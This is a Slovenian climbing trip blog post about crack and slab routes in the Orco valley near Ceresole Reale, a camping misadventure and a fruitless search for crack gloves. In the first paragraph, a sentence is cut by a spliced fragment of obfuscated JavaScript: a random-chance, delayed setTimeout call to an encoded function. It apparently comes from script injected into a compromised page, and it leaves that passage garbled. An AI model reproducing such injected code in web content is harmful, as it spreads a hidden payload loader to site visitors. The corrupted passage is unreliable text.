Ko zavijeva levo se že temni.
Še enkrat levo, dol z ceste in ustaviva. Komaj parkirava, že krešpedi letijo ven.
Postaviva jih pod Fessuro Kosterlitz, absolutno in dokončno balvansko klasiko teh krajev. Sedem metrov popolne »splitter« granitne poči, ki iz rahlo previsnih ringlockov preide v popolne handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andjame. Par metrov nad tlemi, levo dlan potisnem v poč, palec proti mezincu. Jam zagrabi, šalca torej. Drugo roko potresem in jo pomočim v magnezij. Čutim kako se mi ego napihuje, bojda je ta problem fb 6b in jaz sem ga flešal. Juhuhu torej, samozadovoljen se na vrhu prepustim toplemu občutku, ki bi ga lepo opisal z besedami »faaaak, jaz SEM zajeban«.
Na drugi strani sestopim in se vrnem k Aneju. Nečimrno skušam skriti svoj narcisoizem in ga skušam predstaviti kot zadovoljstvo nad res hudim problemom.
Ko še Anej dobi svojo porcijo iz jamanja, postane temno in odločiva se, da bi mogoče bilo pametno poiskati prenočišče…

Torej, veva za tri kempe, ampak ne veva v katerem je največ klajmberske scene. Ker pa nisva od
včeraj, sva ugotovila, da najboljše najprej poiščeva najbolj poln bar v Ceresole Reale (največji kraj na zemljevidu v tem delu doline), tam bodo gotovo klajmberji popivali in bo žur in vsi bodo veseli in srečni, da vidijo nove obraze. Hej, mogoče bo kdo celo pivo plačal, nikoli se ne ve…
Tam se bova vse zmenila za naprej.

Right. Dolina je še kar tesna in v njej je zgodaj tema. In luči je ob cesti zelo malo. Vse skupaj ustvarja prav tesnoben občutek. Nič olajšanja ni, ko prideva v Ceresole in se voziva skozenj. Tema, malo ali nič ljudi in ogromno praznih apartmajev v stilu mesta duhov.
Kakorkoli, končno prideva do nekega bara, ki je še »aperto« in parkirava. Prižge se luč, in skozi zaveso na oknu sumničavo pogleda namrščen obraz starke.
Hmm, okeeej. Ker sva že parkirala, vstopiva in upava, da ta stavba ne bo zadnja v katero bi kdaj vstopila. Noter je nek Italijan, malo manj italjanskega porekla in njegova otroka ter starka. Angleško so znali bolj malo, vendar se nam uspe zmenit. Pivo (za Aneja) in čaj (moja malenkost).
Stopiva ven in začneva pit in se pridušeno pogovarjat. Ven stopi Italijan in njegova otroka, se usede nekoliko proč in opazuje otroka pri igri. Začne zvijat. Ko zvije prižge. Zadiši mi po dijaških letih, in ob domačem vonju se počasi umirim. Danes ne bom umrl.
Čez 15 minut, v to počasi ponovno začnem dvomit. Sva v drugem kampi, ki je ravno tako kot prvi prazen in zapuščen.
S to razliko, da je v njem le velik, osamljen, star šotor. Vaba. Past. Beeživaaa.
Stvari se umirijo v tretjem kampu, kjer je nekaj več šotorov. Postaviva šotor (nekaj klinov nama je zmanjkalo tako, da enega nadomestiva z lost arrowo-om) in greva spat.

Zjutraj se zbudiva v prekrasno jutro. Jezerce poleg nas se kot pološčeno steklo svetlika v zgodnjih jutranjih žarkih in granitna stena Caporala, ki se mogočno in v vsej svoji divji lepoti dviga nad nami, naravnost vabi k plezariji. »Daj, drzni plezalec, položi roko name. Pobožaj me s konicami svojih prstov, naj kožne blazinice začutijo energijo tisočletij, ki se pretaka v meni. Vstavi svojo roko, dlan, prste vame in naj ti ne bo žal minulih trenutkov, ki si jih preživel v svoji nevednosti. Apnenec, te je zavedel, praviš? Ah, nič za to. Sedaj bo lepše, bolj intenzivno in predvsem slajše.«
Midva, oh, midva bedaka, zakaj sva ignorirala ta prvinski klic narave. Kakšni tragediji usode bi se lahko izognila.
Fetišista neumna, gumice sva šla kupovat… In slabo se je končalo.

Sedaj sledi ASCII grafični eksperiment (v času tega pisanja, pri mojem najljubšem predmetu – slovenščini – obravnavamo Kosovela, torej lahko to opišem kot moj poskus v konstruktivizmu…) s katerim bom poskušal prikazati najino, nekako tragikomično, izkušnjo:

Kamp -> Ceresole Reale (nimajo rokavic za plezanje poči, niti športne trgovine ne; mogoče jih imajo v Noasci) -> Noasca (nimajo rokavičk; »try Locana. Maybe there.«) -> Locana (nimajo jih; je pa v Pontu Ceresole trgovina z pohodniško opremo) -> Pont Ceresole (pa saj to ni res, nimajo jih; prve zafrkancije, da bova še v Torino prišla pridejo na dan;) -> Courgne (nimajo jih; je pa GOTOVO v Rivarollu klajmberski shop, kjer najbrž imajo rokavice) -> Rivarollo Canavesse(klajmberski šop je odprt; nimajo rokavičk vendar, je prodajalka prijazna. Pokliče v Torino v AlpStation od Monture, kjer jih zagotovo imajo) -> Torino(nimajo jih; kupiva tejp.)
Hvala, vesolje. In fuck you too.
Nauk zgodbe: Naš konsumerizem in materializem, nas bo še daleč pripeljal. (ha-ha-ha).

Oh well. Je popoldne in končno sva nazaj v dolini. Greva do okruškov Caporala. Še kar veliki so ti odkruški.

Prva prava smer je fingercrack Sensa Cuignisiun, 10m. Bojda je E2.
dober fingerlock z levo roko,
BD #01,
krimp za stranico poči z desno roko,
prestavi noge.
Prenesi težo, prestavi prste,
BD #03, noge,
.
.
.
rahel previs:
fingerlock,
BD plava jeba,
sloper daleč levo,
desna roka na stranico poči,
petka,
vzdigni se,
še malo,
sloperski rob,
kind-of mantel in vrh in ponovno tisti zajeban občutek…

Druga smer, ki mi je ta dan izstopala (no, ja v bistvu jih mnogo več tudi nisva splezala), je Fessura dell’Odisseo a.k.a moj prvi offwidth.(tip na sliki jo sicer pleza oporno, vendar on ni zajeban).
Nekateri jih sovražijo, drugi ljubijo. Mene plašijo.

»It was brutal.«, razložim Izraelcu.
Dov se zasmeje »It usually is.«
Trenutno je tukaj s spolezalcem. Čez en teden se bo odpravil z bodočo ženo v Indijo.
Njegov soplezalec je Zack.
Spoznali smo se v kampu. Povedala sta nama, da sta kupila vino, ki jima ga je priporočil trgovec.
»Do you wanna have a little paartey?«
Prav, ne bova se upirala.
Sedimo torej, degustiramo in debatiramo.
Zack nam čez nekaj časa pokaže na telefonu slike svojega avtomobila. Zakaj, nemudoma dobi svoj zato. Ponosno pove, da je to njegovo stanovanje, ki je trenutno parkirano v Ameriki pri prijatelju. Zdaj gre za eno leto tja.
Fak, kako mu zavidam, ko pove, da je bil sedaj pol leta turistični vodič v Izraelu in sedaj gre za eno leto v Ameriko, kjer bo živel v avtomobilu in edina skrb mu bo plezarija in turna smuka.
Nekega dne bom turistični vodič…

Day 2: Dajmo. Akcija. Rokenrol…
Greva v La Piramide pogledat kaj pomenijo platke v granitu. Izbereva smer »Legolas, humm, tutta libera« z varijanto.
V drugem raztežaju se znajdem na zanimivem koncu štrika in začnem plezat.
Oh yeah. Platke so mi všeč.
Bolj ali manj.
Kmalu fuknem.
…Želim si, da bi to smer navrtal Silvo, potem bi lahko v miru anuliral in se počutil varnega.
Sedaj sem že nad mestom kjer sem padel in pred nečim, kar je najbrž detajl. V glavi si predvajam nasvet Hazel Findlay, na temo kako plezat plate. »Just keep going…«. Hummm….
Okej, se zberem. Počasi dvignem nogo, in nato še malo višje v višino pasu. Nagnem se naprej in se začnem vzdigovati. Nisem preklet fuzbaler. Nimam moči v nogah, da bi se tako, na eni nogi iz takega položaje vzdigoval. Naj gre vse v kurac…
Še malo lovim ravnotežje, guma drži (hvala five ten) in sem čez.

Vid Štrancar (#bestbigwallclimber#bigwallforever)

Se nadaljuje…nekoč, pisec je trenutno izlil celoten opus…in je izžet (op.urednika)